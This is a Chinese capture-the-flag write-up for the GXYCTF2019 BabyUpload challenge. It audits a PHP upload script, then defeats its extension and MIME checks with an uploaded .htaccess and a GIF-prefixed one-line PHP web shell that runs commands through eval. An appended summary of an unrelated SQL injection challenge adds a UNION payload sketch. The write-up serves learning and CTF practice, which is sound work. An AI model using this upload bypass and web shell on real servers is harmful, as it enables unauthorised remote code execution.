BUUCTF-[GXYCTF2019]BabyUpload

文章分析了一个PHP上传脚本,发现其存在安全漏洞,如未限制上传后缀和MIME类型检查不严。作者利用.htaccess文件绕过限制,展示了可能的攻击方式和获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

分析

首先,这是一道文件上传的题,题目给了GitHub的源码地址,那我就来进行代码审计。

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧!");
        }
    }
}
?>

从代码中可以看出:

1、网站会将上传的文件保存到相应的目录下
2、网站会对后缀进行检测,不能有ph
3、网站会检测上传的MIME文件类型

首先这是个黑名单类型的文件上传,但是试了一下PHP、Phtml之类的都不行,所以把目光放在.htaccess和.user.ini之类的解析文件上。

从源码中可以看出,题目没有对.htaccess文件进行禁止,所以我直接上传.htaccess文件,然后将文件类型改为:Content-Type: image/jpeg

实战

首先先上传.htaccess文件

<FilesMatch "a.jpg">   
SetHandler application/x-httpd-php
</FilesMatch>

记得更改文件的MIME类型

然后再上传带有一句话木马的a.jpg文件

GIF89a?
<script language='php'>eval($_REQUEST['cmd']);</script>

上传成功,显示上传路径,访问一下:/upload/46b4a57b65914cdd85dfcee453c1995e/a.jpg

有回显,用蚁剑连起来,找到flag

### GXYCTF2019 BabySQli SQL Injection Challenge Solution In addressing the specific challenge named BabySQli from GXYCTF2019, understanding how to manipulate queries through injection techniques is crucial. The initial approach involves identifying a vulnerable point within an application's input handling mechanism where unfiltered user inputs can alter backend database commands. For this particular case, consider that the original query structure might resemble something similar to: ```sql SELECT id FROM products WHERE name = 'abcd' ``` An attacker could exploit such a scenario by injecting additional SQL code after `'abcd'`, effectively changing the logic and potentially revealing unintended data or bypassing authentication mechanisms[^1]. A crafted payload aiming at exploiting this vulnerability would look like: ```sql "' AND 1=2 UNION SELECT ... ``` This payload attempts to terminate the existing condition with `AND 1=2` ensuring it evaluates as false while introducing a new selection statement via `UNION`. This technique allows attackers to append their own select statements which may expose sensitive information depending on what columns are selected and tables involved. However, when dealing specifically with challenges designed around CTFs (Capture The Flag), there often exist constraints not present in real-world scenarios—such as limited table names or column counts—that must be considered during exploitation efforts. For instance, knowing whether certain keywords need encoding due to filters applied by developers before processing user-supplied parameters becomes essential knowledge for successfully completing these types of exercises. Moreover, regarding session-based functionalities mentioned elsewhere, altering another user’s records directly isn’t feasible since usernames derive from sessions rather than direct URL manipulations or form submissions[^2]. To mitigate risks associated with SQL injections across all applications including those found within competitive environments like CTF competitions, implementing robust validation checks alongside prepared statements significantly reduces attack surfaces[^3]: - Utilize parameterized queries instead of string concatenation. - Employ ORM frameworks whenever possible. - Regularly update dependencies and apply patches promptly.
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值